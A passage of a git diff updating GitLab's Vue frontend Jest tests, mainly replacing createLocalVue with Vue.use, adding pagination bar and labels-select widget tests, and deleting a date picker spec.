+import PaginationLinks from '~/vue_shared/components/pagination_links.vue';
+
+describe('Pagination bar', () => {
+ const DEFAULT_PROPS = {
+ pageInfo: {
+ total: 50,
+ totalPages: 3,
+ page: 3,
+ perPage: 20,
+ },
+ };
+ let wrapper;
+
+ const createComponent = (propsData) => {
+ wrapper = mount(PaginationBar, {
+ propsData: {
+ ...DEFAULT_PROPS,
+ ...propsData,
+ },
+ });
+ };
+
+ afterEach(() => {
+ wrapper.destroy();
+ });
+
+ describe('events', () => {
+ beforeEach(() => {
+ createComponent();
+ });
+
+ it('emits set-page event when page is selected', () => {
+ const NEXT_PAGE = 3;
+ // PaginationLinks uses prop instead of event for handling page change
+ // So we go one level deep to test this
+ wrapper
+ .findComponent(PaginationLinks)
+ .findComponent(GlPagination)
+ .vm.$emit('input', NEXT_PAGE);
+ expect(wrapper.emitted('set-page')).toEqual([[NEXT_PAGE]]);
+ });
+
+ it('emits set-page-size event when page size is selected', () => {
+ const firstItemInPageSizeDropdown = wrapper.findComponent(GlDropdownItem);
+ firstItemInPageSizeDropdown.vm.$emit('click');
+
+ const [emittedPageSizeChange] = wrapper.emitted('set-page-size')[0];
+ expect(firstItemInPageSizeDropdown.text()).toMatchInterpolatedText(
+ `${emittedPageSizeChange} items per page`,
+ );
+ });
+ });
+
+ it('renders current page size', () => {
+ const CURRENT_PAGE_SIZE = 40;
+
+ createComponent({
+ pageInfo: {
+ ...DEFAULT_PROPS.pageInfo,
+ perPage: CURRENT_PAGE_SIZE,
+ },
+ });
+
+ expect(wrapper.find(GlDropdown).find('button').text()).toMatchInterpolatedText(
+ `${CURRENT_PAGE_SIZE} items per page`,
+ );
+ });
+
+ it('renders current page information', () => {
+ createComponent();
+
+ expect(wrapper.find('[data-testid="information"]').text()).toMatchInterpolatedText(
+ 'Showing 41 - 50 of 50',
+ );
+ });
+
+ it('renders current page information when total count is over 1000', () => {
+ createComponent({
+ pageInfo: {
+ ...DEFAULT_PROPS.pageInfo,
+ total: 1200,
+ page: 2,
+ },
+ });
+
+ expect(wrapper.find('[data-testid="information"]').text()).toMatchInterpolatedText(
+ 'Showing 21 - 40 of 1000+',
+ );
+ });
+});
diff --git a/spec/frontend/vue_shared/components/project_selector/project_list_item_spec.js b/spec/frontend/vue_shared/components/project_selector/project_list_item_spec.js
index 7fdacbe83a2..5afa017aa76 100644
--- a/spec/frontend/vue_shared/components/project_selector/project_list_item_spec.js
+++ b/spec/frontend/vue_shared/components/project_selector/project_list_item_spec.js
@@ -1,13 +1,12 @@
-import { shallowMount, createLocalVue } from '@vue/test-utils';
+import { shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
import mockProjects from 'test_fixtures_static/projects.json';
import { trimText } from 'helpers/text_helper';
import ProjectAvatar from '~/vue_shared/components/deprecated_project_avatar/default.vue';
import ProjectListItem from '~/vue_shared/components/project_selector/project_list_item.vue';
-const localVue = createLocalVue();
-
describe('ProjectListItem component', () => {
- const Component = localVue.extend(ProjectListItem);
+ const Component = Vue.extend(ProjectListItem);
let wrapper;
let vm;
let options;
@@ -20,7 +19,6 @@ describe('ProjectListItem component', () => {
project,
selected: false,
},
- localVue,
};
});
diff --git a/spec/frontend/vue_shared/components/project_selector/project_selector_spec.js b/spec/frontend/vue_shared/components/project_selector/project_selector_spec.js
index de5cee846a1..34cee10392d 100644
--- a/spec/frontend/vue_shared/components/project_selector/project_selector_spec.js
+++ b/spec/frontend/vue_shared/components/project_selector/project_selector_spec.js
@@ -1,5 +1,5 @@
import { GlSearchBoxByType, GlInfiniteScroll } from '@gitlab/ui';
-import { mount, createLocalVue } from '@vue/test-utils';
+import { mount } from '@vue/test-utils';
import { head } from 'lodash';
import Vue from 'vue';
import mockProjects from 'test_fixtures_static/projects.json';
@@ -7,8 +7,6 @@ import { trimText } from 'helpers/text_helper';
import ProjectListItem from '~/vue_shared/components/project_selector/project_list_item.vue';
import ProjectSelector from '~/vue_shared/components/project_selector/project_selector.vue';
-const localVue = createLocalVue();
-
describe('ProjectSelector component', () => {
let wrapper;
let vm;
@@ -28,7 +26,6 @@ describe('ProjectSelector component', () => {
beforeEach(() => {
wrapper = mount(Vue.extend(ProjectSelector), {
- localVue,
propsData: {
projectSearchResults: searchResults,
selectedProjects: selected,
diff --git a/spec/frontend/vue_shared/components/registry/metadata_item_spec.js b/spec/frontend/vue_shared/components/registry/metadata_item_spec.js
index 1ccf3ddc5a5..e4abdc15fd5 100644
--- a/spec/frontend/vue_shared/components/registry/metadata_item_spec.js
+++ b/spec/frontend/vue_shared/components/registry/metadata_item_spec.js
@@ -2,7 +2,7 @@ import { GlIcon, GlLink } from '@gitlab/ui';
import { shallowMount } from '@vue/test-utils';
import { createMockDirective, getBinding } from 'helpers/vue_mock_directive';
import component from '~/vue_shared/components/registry/metadata_item.vue';
-import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate.vue';
+import TooltipOnTruncate from '~/vue_shared/components/tooltip_on_truncate/tooltip_on_truncate.vue';
describe('Metadata Item', () => {
let wrapper;
diff --git a/spec/frontend/vue_shared/components/runner_instructions/runner_instructions_modal_spec.js b/spec/frontend/vue_shared/components/runner_instructions/runner_instructions_modal_spec.js
index 8536ffed573..e74a867ec97 100644
--- a/spec/frontend/vue_shared/components/runner_instructions/runner_instructions_modal_spec.js
+++ b/spec/frontend/vue_shared/components/runner_instructions/runner_instructions_modal_spec.js
@@ -1,7 +1,7 @@
import { GlAlert, GlModal, GlButton, GlLoadingIcon, GlSkeletonLoader } from '@gitlab/ui';
import { GlBreakpointInstance as bp } from '@gitlab/ui/dist/utils';
-import { shallowMount, createLocalVue } from '@vue/test-utils';
-import { nextTick } from 'vue';
+import { shallowMount } from '@vue/test-utils';
+import Vue, { nextTick } from 'vue';
import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
import { extendedWrapper } from 'helpers/vue_test_utils_helper';
@@ -16,8 +16,7 @@ import {
mockGraphqlInstructionsWindows,
} from './mock_data';
-const localVue = createLocalVue();
-localVue.use(VueApollo);
+Vue.use(VueApollo);
let resizeCallback;
const MockResizeObserver = {
@@ -33,7 +32,7 @@ const MockResizeObserver = {
},
};
-localVue.directive('gl-resize-observer', MockResizeObserver);
+Vue.directive('gl-resize-observer', MockResizeObserver);
jest.mock('@gitlab/ui/dist/utils');
@@ -67,7 +66,6 @@ describe('RunnerInstructionsModal component', () => {
registrationToken: 'MY_TOKEN',
...props,
},
- localVue,
apolloProvider: fakeApollo,
...options,
}),
diff --git a/spec/frontend/vue_shared/components/sidebar/collapsed_grouped_date_picker_spec.js b/spec/frontend/vue_shared/components/sidebar/collapsed_grouped_date_picker_spec.js
deleted file mode 100644
index e72b3bf45c4..00000000000
--- a/spec/frontend/vue_shared/components/sidebar/collapsed_grouped_date_picker_spec.js
+++ /dev/null
@@ -1,103 +0,0 @@
-import { shallowMount } from '@vue/test-utils';
-
-import CollapsedGroupedDatePicker from '~/vue_shared/components/sidebar/collapsed_grouped_date_picker.vue';
-import CollapsedCalendarIcon from '~/vue_shared/components/sidebar/collapsed_calendar_icon.vue';
-
-describe('CollapsedGroupedDatePicker', () => {
- let wrapper;
-
- const defaultProps = {
- showToggleSidebar: true,
- };
-
- const minDate = new Date('07/17/2016');
- const maxDate = new Date('07/17/2017');
-
- const createComponent = ({ props = {} } = {}) => {
- wrapper = shallowMount(CollapsedGroupedDatePicker, {
- propsData: { ...defaultProps, ...props },
- });
- };
-
- afterEach(() => {
- wrapper.destroy();
- });
-
- const findCollapsedCalendarIcon = () => wrapper.findComponent(CollapsedCalendarIcon);
- const findAllCollapsedCalendarIcons = () => wrapper.findAllComponents(CollapsedCalendarIcon);
-
- describe('toggleCollapse events', () => {
- it('should emit when collapsed-calendar-icon is clicked', () => {
- createComponent();
-
- findCollapsedCalendarIcon().trigger('click');
-
- expect(wrapper.emitted('toggleCollapse')[0]).toBeDefined();
- });
- });
-
- describe('minDate and maxDate', () => {
- it('should render both collapsed-calendar-icon', () => {
- createComponent({
- props: {
- minDate,
- maxDate,
- },
- });
-
- const icons = findAllCollapsedCalendarIcons();
-
- expect(icons.length).toBe(2);
- expect(icons.at(0).text()).toBe('Jul 17 2016');
- expect(icons.at(1).text()).toBe('Jul 17 2017');
- });
- });
-
- describe('minDate', () => {
- it('should render minDate in collapsed-calendar-icon', () => {
- createComponent({
- props: {
- minDate,
- },
- });
-
- const icons = findAllCollapsedCalendarIcons();
-
- expect(icons.length).toBe(1);
- expect(icons.at(0).text()).toBe('From Jul 17 2016');
- });
- });
-
- describe('maxDate', () => {
- it('should render maxDate in collapsed-calendar-icon', () => {
- createComponent({
- props: {
- maxDate,
- },
- });
- const icons = findAllCollapsedCalendarIcons();
-
- expect(icons.length).toBe(1);
- expect(icons.at(0).text()).toBe('Until Jul 17 2017');
- });
- });
-
- describe('no dates', () => {
- beforeEach(() => {
- createComponent();
- });
-
- it('should render None', () => {
- const icons = findAllCollapsedCalendarIcons();
-
- expect(icons.length).toBe(1);
- expect(icons.at(0).text()).toBe('None');
- });
-
- it('should have tooltip as `Start and due date`', () => {
- const icons = findAllCollapsedCalendarIcons();
-
- expect(icons.at(0).props('tooltipText')).toBe('Start and due date');
- });
- });
-});
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_button_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_button_spec.js
index 59b170bfba9..c4ed975e746 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_button_spec.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_button_spec.js
@@ -1,5 +1,6 @@
import { GlIcon, GlButton } from '@gitlab/ui';
-import { shallowMount, createLocalVue } from '@vue/test-utils';
+import { shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
import Vuex from 'vuex';
import DropdownButton from '~/vue_shared/components/sidebar/labels_select_vue/dropdown_button.vue';
@@ -9,8 +10,7 @@ import labelSelectModule from '~/vue_shared/components/sidebar/labels_select_vue
import { mockConfig } from './mock_data';
let store;
-const localVue = createLocalVue();
-localVue.use(Vuex);
+Vue.use(Vuex);
const createComponent = (initialState = mockConfig) => {
store = new Vuex.Store(labelSelectModule());
@@ -18,7 +18,6 @@ const createComponent = (initialState = mockConfig) => {
store.dispatch('setInitialState', initialState);
return shallowMount(DropdownButton, {
- localVue,
store,
});
};
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_create_view_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_create_view_spec.js
index c4a645082e6..1fe85637a62 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_create_view_spec.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_create_view_spec.js
@@ -1,5 +1,6 @@
import { GlButton, GlFormInput, GlLink, GlLoadingIcon } from '@gitlab/ui';
-import { shallowMount, createLocalVue } from '@vue/test-utils';
+import { shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
import Vuex from 'vuex';
import DropdownContentsCreateView from '~/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_create_view.vue';
@@ -8,8 +9,7 @@ import labelSelectModule from '~/vue_shared/components/sidebar/labels_select_vue
import { mockConfig, mockSuggestedColors } from './mock_data';
-const localVue = createLocalVue();
-localVue.use(Vuex);
+Vue.use(Vuex);
const createComponent = (initialState = mockConfig) => {
const store = new Vuex.Store(labelSelectModule());
@@ -17,7 +17,6 @@ const createComponent = (initialState = mockConfig) => {
store.dispatch('setInitialState', initialState);
return shallowMount(DropdownContentsCreateView, {
- localVue,
store,
});
};
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_labels_view_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_labels_view_spec.js
index e39e8794fdd..80b8edd28ba 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_labels_view_spec.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_labels_view_spec.js
@@ -5,7 +5,8 @@ import {
GlSearchBoxByType,
GlLink,
} from '@gitlab/ui';
-import { shallowMount, createLocalVue } from '@vue/test-utils';
+import { shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
import Vuex from 'vuex';
import { UP_KEY_CODE, DOWN_KEY_CODE, ENTER_KEY_CODE, ESC_KEY_CODE } from '~/lib/utils/keycodes';
import DropdownContentsLabelsView from '~/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_labels_view.vue';
@@ -18,8 +19,7 @@ import defaultState from '~/vue_shared/components/sidebar/labels_select_vue/stor
import { mockConfig, mockLabels, mockRegularLabel } from './mock_data';
-const localVue = createLocalVue();
-localVue.use(Vuex);
+Vue.use(Vuex);
describe('DropdownContentsLabelsView', () => {
let wrapper;
@@ -43,7 +43,6 @@ describe('DropdownContentsLabelsView', () => {
store.dispatch('receiveLabelsSuccess', mockLabels);
wrapper = shallowMount(DropdownContentsLabelsView, {
- localVue,
store,
});
};
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_spec.js
index 88557917cb5..9781d9c4de0 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_spec.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_contents_spec.js
@@ -1,4 +1,5 @@
-import { shallowMount, createLocalVue } from '@vue/test-utils';
+import { shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
import Vuex from 'vuex';
import { DropdownVariant } from '~/vue_shared/components/sidebar/labels_select_vue/constants';
@@ -7,8 +8,7 @@ import labelsSelectModule from '~/vue_shared/components/sidebar/labels_select_vu
import { mockConfig } from './mock_data';
-const localVue = createLocalVue();
-localVue.use(Vuex);
+Vue.use(Vuex);
const createComponent = (initialState = mockConfig, propsData = {}) => {
const store = new Vuex.Store(labelsSelectModule());
@@ -17,7 +17,6 @@ const createComponent = (initialState = mockConfig, propsData = {}) => {
return shallowMount(DropdownContents, {
propsData,
- localVue,
store,
});
};
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_title_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_title_spec.js
index 726a113dbd9..110c1d1b7eb 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_title_spec.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_title_spec.js
@@ -1,5 +1,6 @@
import { GlButton, GlLoadingIcon } from '@gitlab/ui';
-import { shallowMount, createLocalVue } from '@vue/test-utils';
+import { shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
import Vuex from 'vuex';
import DropdownTitle from '~/vue_shared/components/sidebar/labels_select_vue/dropdown_title.vue';
@@ -8,8 +9,7 @@ import labelsSelectModule from '~/vue_shared/components/sidebar/labels_select_vu
import { mockConfig } from './mock_data';
-const localVue = createLocalVue();
-localVue.use(Vuex);
+Vue.use(Vuex);
const createComponent = (initialState = mockConfig) => {
const store = new Vuex.Store(labelsSelectModule());
@@ -17,7 +17,6 @@ const createComponent = (initialState = mockConfig) => {
store.dispatch('setInitialState', initialState);
return shallowMount(DropdownTitle, {
- localVue,
store,
propsData: {
labelsSelectInProgress: false,
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_value_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_value_spec.js
index 960ea77cb6e..f3c4839002b 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_value_spec.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/dropdown_value_spec.js
@@ -1,5 +1,6 @@
import { GlLabel } from '@gitlab/ui';
-import { shallowMount, createLocalVue } from '@vue/test-utils';
+import { shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
import Vuex from 'vuex';
import DropdownValue from '~/vue_shared/components/sidebar/labels_select_vue/dropdown_value.vue';
@@ -8,8 +9,7 @@ import labelsSelectModule from '~/vue_shared/components/sidebar/labels_select_vu
import { mockConfig, mockLabels, mockRegularLabel, mockScopedLabel } from './mock_data';
-const localVue = createLocalVue();
-localVue.use(Vuex);
+Vue.use(Vuex);
describe('DropdownValue', () => {
let wrapper;
@@ -23,7 +23,6 @@ describe('DropdownValue', () => {
store.dispatch('setInitialState', { ...mockConfig, ...initialState });
wrapper = shallowMount(DropdownValue, {
- localVue,
store,
slots,
});
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/labels_select_root_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/labels_select_root_spec.js
index bc1ec8b812b..4b0ba075eda 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/labels_select_root_spec.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/labels_select_root_spec.js
@@ -1,4 +1,5 @@
-import { shallowMount, createLocalVue } from '@vue/test-utils';
+import { shallowMount } from '@vue/test-utils';
+import Vue from 'vue';
import Vuex from 'vuex';
import { isInViewport } from '~/lib/utils/common_utils';
@@ -18,8 +19,7 @@ jest.mock('~/lib/utils/common_utils', () => ({
isInViewport: jest.fn().mockReturnValue(true),
}));
-const localVue = createLocalVue();
-localVue.use(Vuex);
+Vue.use(Vuex);
describe('LabelsSelectRoot', () => {
let wrapper;
@@ -27,7 +27,6 @@ describe('LabelsSelectRoot', () => {
const createComponent = (config = mockConfig, slots = {}) => {
wrapper = shallowMount(LabelsSelectRoot, {
- localVue,
slots,
store,
propsData: config,
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/mock_data.js b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/mock_data.js
index 1faa3b0af1d..884bc4684ba 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select_vue/mock_data.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select_vue/mock_data.js
@@ -75,7 +75,7 @@ export const mockSuggestedColors = {
'#013220': 'Dark green',
'#6699cc': 'Blue-gray',
'#0000ff': 'Blue',
- '#e6e6fa': 'Lavendar',
+ '#e6e6fa': 'Lavender',
'#9400d3': 'Dark violet',
'#330066': 'Deep violet',
'#808080': 'Gray',
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select_widget/dropdown_contents_create_view_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select_widget/dropdown_contents_create_view_spec.js
index bf873f9162b..d8491334b5d 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select_widget/dropdown_contents_create_view_spec.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select_widget/dropdown_contents_create_view_spec.js
@@ -1,6 +1,6 @@
import { GlLoadingIcon, GlLink } from '@gitlab/ui';
-import { shallowMount, createLocalVue } from '@vue/test-utils';
-import { nextTick } from 'vue';
+import { shallowMount } from '@vue/test-utils';
+import Vue, { nextTick } from 'vue';
import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
@@ -18,8 +18,7 @@ jest.mock('~/flash');
const colors = Object.keys(mockSuggestedColors);
-const localVue = createLocalVue();
-localVue.use(VueApollo);
+Vue.use(VueApollo);
const userRecoverableError = {
...createLabelSuccessfulResponse,
@@ -63,7 +62,6 @@ describe('DropdownContentsCreateView', () => {
});
wrapper = shallowMount(DropdownContentsCreateView, {
- localVue,
apolloProvider: mockApollo,
propsData: {
fullPath: '',
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select_widget/dropdown_contents_labels_view_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select_widget/dropdown_contents_labels_view_spec.js
index 2980409fdce..6f5a4b7e613 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select_widget/dropdown_contents_labels_view_spec.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select_widget/dropdown_contents_labels_view_spec.js
@@ -4,8 +4,8 @@ import {
GlDropdownItem,
GlIntersectionObserver,
} from '@gitlab/ui';
-import { shallowMount, createLocalVue } from '@vue/test-utils';
-import { nextTick } from 'vue';
+import { shallowMount } from '@vue/test-utils';
+import Vue, { nextTick } from 'vue';
import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
@@ -19,8 +19,7 @@ import { mockConfig, workspaceLabelsQueryResponse } from './mock_data';
jest.mock('~/flash');
-const localVue = createLocalVue();
-localVue.use(VueApollo);
+Vue.use(VueApollo);
const localSelectedLabels = [
{
@@ -47,7 +46,6 @@ describe('DropdownContentsLabelsView', () => {
const mockApollo = createMockApollo([[projectLabelsQuery, queryHandler]]);
wrapper = shallowMount(DropdownContentsLabelsView, {
- localVue,
apolloProvider: mockApollo,
provide: {
variant: DropdownVariant.Sidebar,
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select_widget/dropdown_contents_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select_widget/dropdown_contents_spec.js
index 8bcef347c96..00da9b74957 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select_widget/dropdown_contents_spec.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select_widget/dropdown_contents_spec.js
@@ -4,12 +4,12 @@ import { DropdownVariant } from '~/vue_shared/components/sidebar/labels_select_w
import DropdownContents from '~/vue_shared/components/sidebar/labels_select_widget/dropdown_contents.vue';
import DropdownContentsCreateView from '~/vue_shared/components/sidebar/labels_select_widget/dropdown_contents_create_view.vue';
import DropdownContentsLabelsView from '~/vue_shared/components/sidebar/labels_select_widget/dropdown_contents_labels_view.vue';
-import DropdownHeader from '~/vue_shared/components/sidebar/labels_select_widget/dropdown_header.vue';
import DropdownFooter from '~/vue_shared/components/sidebar/labels_select_widget/dropdown_footer.vue';
import { mockLabels } from './mock_data';
const showDropdown = jest.fn();
+const focusInput = jest.fn();
const GlDropdownStub = {
template: `
@@ -25,6 +25,15 @@ const GlDropdownStub = {
},
};
+const DropdownHeaderStub = {
+ template: `
+ <div>Hello, I am a header</div>
+ `,
+ methods: {
+ focusInput,
+ },
+};
+
describe('DropdownContent', () => {
let wrapper;
@@ -52,6 +61,7 @@ describe('DropdownContent', () => {
},
stubs: {
GlDropdown: GlDropdownStub,
+ DropdownHeader: DropdownHeaderStub,
},
});
};
@@ -62,7 +72,7 @@ describe('DropdownContent', () => {
const findCreateView = () => wrapper.findComponent(DropdownContentsCreateView);
const findLabelsView = () => wrapper.findComponent(DropdownContentsLabelsView);
- const findDropdownHeader = () => wrapper.findComponent(DropdownHeader);
+ const findDropdownHeader = () => wrapper.findComponent(DropdownHeaderStub);
const findDropdownFooter = () => wrapper.findComponent(DropdownFooter);
const findDropdown = () => wrapper.findComponent(GlDropdownStub);
@@ -114,19 +124,7 @@ describe('DropdownContent', () => {
expect(wrapper.emitted('setLabels')).toEqual([[[updatedLabel]]]);
});
- it('does not render header on standalone variant', () => {
- createComponent({ props: { variant: DropdownVariant.Standalone } });
-
- expect(findDropdownHeader().exists()).toBe(false);
- });
-
- it('renders header on embedded variant', () => {
- createComponent({ props: { variant: DropdownVariant.Embedded } });
-
- expect(findDropdownHeader().exists()).toBe(true);
- });
-
- it('renders header on sidebar variant', () => {
+ it('renders header', () => {
createComponent();
expect(findDropdownHeader().exists()).toBe(true);
@@ -135,11 +133,20 @@ describe('DropdownContent', () => {
it('sets searchKey for labels view on input event from header', async () => {
createComponent();
- expect(wrapper.vm.searchKey).toEqual('');
+ expect(findLabelsView().props('searchKey')).toBe('');
findDropdownHeader().vm.$emit('input', '123');
await nextTick();
- expect(findLabelsView().props('searchKey')).toEqual('123');
+ expect(findLabelsView().props('searchKey')).toBe('123');
+ });
+
+ it('clears and focuses search input on selecting a label', () => {
+ createComponent();
+ findDropdownHeader().vm.$emit('input', '123');
+ findLabelsView().vm.$emit('input', []);
+
+ expect(findLabelsView().props('searchKey')).toBe('');
+ expect(focusInput).toHaveBeenCalled();
});
describe('Create view', () => {
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select_widget/dropdown_header_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select_widget/dropdown_header_spec.js
index 592559ef305..c4faef8ccdd 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select_widget/dropdown_header_spec.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select_widget/dropdown_header_spec.js
@@ -9,6 +9,7 @@ describe('DropdownHeader', () => {
const createComponent = ({
showDropdownContentsCreateView = false,
labelsFetchInProgress = false,
+ isStandalone = false,
} = {}) => {
wrapper = extendedWrapper(
shallowMount(DropdownHeader, {
@@ -18,6 +19,7 @@ describe('DropdownHeader', () => {
labelsCreateTitle: 'Create label',
labelsListTitle: 'Select label',
searchKey: '',
+ isStandalone,
},
stubs: {
GlSearchBoxByType,
@@ -32,6 +34,7 @@ describe('DropdownHeader', () => {
const findSearchInput = () => wrapper.findComponent(GlSearchBoxByType);
const findGoBackButton = () => wrapper.findByTestId('go-back-button');
+ const findDropdownTitle = () => wrapper.findByTestId('dropdown-header-title');
beforeEach(() => {
createComponent();
@@ -72,4 +75,18 @@ describe('DropdownHeader', () => {
},
);
});
+
+ describe('Standalone variant', () => {
+ beforeEach(() => {
+ createComponent({ isStandalone: true });
+ });
+
+ it('renders search input', () => {
+ expect(findSearchInput().exists()).toBe(true);
+ });
+
+ it('does not render title', async () => {
+ expect(findDropdownTitle().exists()).toBe(false);
+ });
+ });
});
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select_widget/dropdown_value_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select_widget/dropdown_value_spec.js
index e7e78cd7a33..0c4f4b7d504 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select_widget/dropdown_value_spec.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select_widget/dropdown_value_spec.js
@@ -95,5 +95,10 @@ describe('DropdownValue', () => {
findRegularLabel().vm.$emit('close');
expect(wrapper.emitted('onLabelRemove')).toEqual([[mockRegularLabel.id]]);
});
+
+ it('emits `onCollapsedValueClick` when clicking on collapsed value', () => {
+ wrapper.find('.sidebar-collapsed-icon').trigger('click');
+ expect(wrapper.emitted('onCollapsedValueClick')).toEqual([[]]);
+ });
});
});
diff --git a/spec/frontend/vue_shared/components/sidebar/labels_select_widget/labels_select_root_spec.js b/spec/frontend/vue_shared/components/sidebar/labels_select_widget/labels_select_root_spec.js
index d4203528874..a4199bb3e27 100644
--- a/spec/frontend/vue_shared/components/sidebar/labels_select_widget/labels_select_root_spec.js
+++ b/spec/frontend/vue_shared/components/sidebar/labels_select_widget/labels_select_root_spec.js
@@ -1,25 +1,34 @@
-import { shallowMount, createLocalVue } from '@vue/test-utils';
-import { nextTick } from 'vue';
+import { shallowMount } from '@vue/test-utils';
+import Vue, { nextTick } from 'vue';
import VueApollo from 'vue-apollo';
import createMockApollo from 'helpers/mock_apollo_helper';
import waitForPromises from 'helpers/wait_for_promises';
import createFlash from '~/flash';
-import { IssuableType } from '~/issue_show/constants';
+import { IssuableType } from '~/issues/constants';
import SidebarEditableItem from '~/sidebar/components/sidebar_editable_item.vue';
import DropdownContents from '~/vue_shared/components/sidebar/labels_select_widget/dropdown_contents.vue';
import DropdownValue from '~/vue_shared/components/sidebar/labels_select_widget/dropdown_value.vue';
import issueLabelsQuery from '~/vue_shared/components/sidebar/labels_select_widget/graphql/issue_labels.query.graphql';
+import updateIssueLabelsMutation from '~/boards/graphql/issue_set_labels.mutation.graphql';
+import updateMergeRequestLabelsMutation from '~/sidebar/queries/update_merge_request_labels.mutation.graphql';
+import updateEpicLabelsMutation from '~/vue_shared/components/sidebar/labels_select_widget/graphql/epic_update_labels.mutation.graphql';
import LabelsSelectRoot from '~/vue_shared/components/sidebar/labels_select_widget/labels_select_root.vue';
-import { mockConfig, issuableLabelsQueryResponse } from './mock_data';
+import { mockConfig, issuableLabelsQueryResponse, updateLabelsMutationResponse } from './mock_data';
jest.mock('~/flash');
-const localVue = createLocalVue();
-localVue.use(VueApollo);
+Vue.use(VueApollo);
const successfulQueryHandler = jest.fn().mockResolvedValue(issuableLabelsQueryResponse);
+const successfulMutationHandler = jest.fn().mockResolvedValue(updateLabelsMutationResponse);
const errorQueryHandler = jest.fn().mockRejectedValue('Houston, we have a problem');
+const updateLabelsMutation = {
+ [IssuableType.Issue]: updateIssueLabelsMutation,
+ [IssuableType.MergeRequest]: updateMergeRequestLabelsMutation,
+ [IssuableType.Epic]: updateEpicLabelsMutation,
+};
+
describe('LabelsSelectRoot', () => {
let wrapper;
@@ -30,17 +39,21 @@ describe('LabelsSelectRoot', () => {
const createComponent = ({
config = mockConfig,
slots = {},
+ issuableType = IssuableType.Issue,
queryHandler = successfulQueryHandler,
+ mutationHandler = successfulMutationHandler,
} = {}) => {
- const mockApollo = createMockApollo([[issueLabelsQuery, queryHandler]]);
+ const mockApollo = createMockApollo([
+ [issueLabelsQuery, queryHandler],
+ [updateLabelsMutation[issuableType], mutationHandler],
+ ]);
wrapper = shallowMount(LabelsSelectRoot, {
slots,
apolloProvider: mockApollo,
- localVue,
propsData: {
...config,
- issuableType: IssuableType.Issue,
+ issuableType,
labelCreateType: 'project',
workspaceType: 'project',
},
@@ -60,9 +73,9 @@ describe('LabelsSelectRoot', () => {
wrapper.destroy();
});
- it('renders component with classes `labels-select-wrapper position-relative`', () => {
+ it('renders component with classes `labels-select-wrapper gl-relative`', () => {
createComponent();
- expect(wrapper.classes()).toEqual(['labels-select-wrapper', 'position-relative']);
+ expect(wrapper.classes()).toEqual(['labels-select-wrapper', 'gl-relative']);
});
it.each`
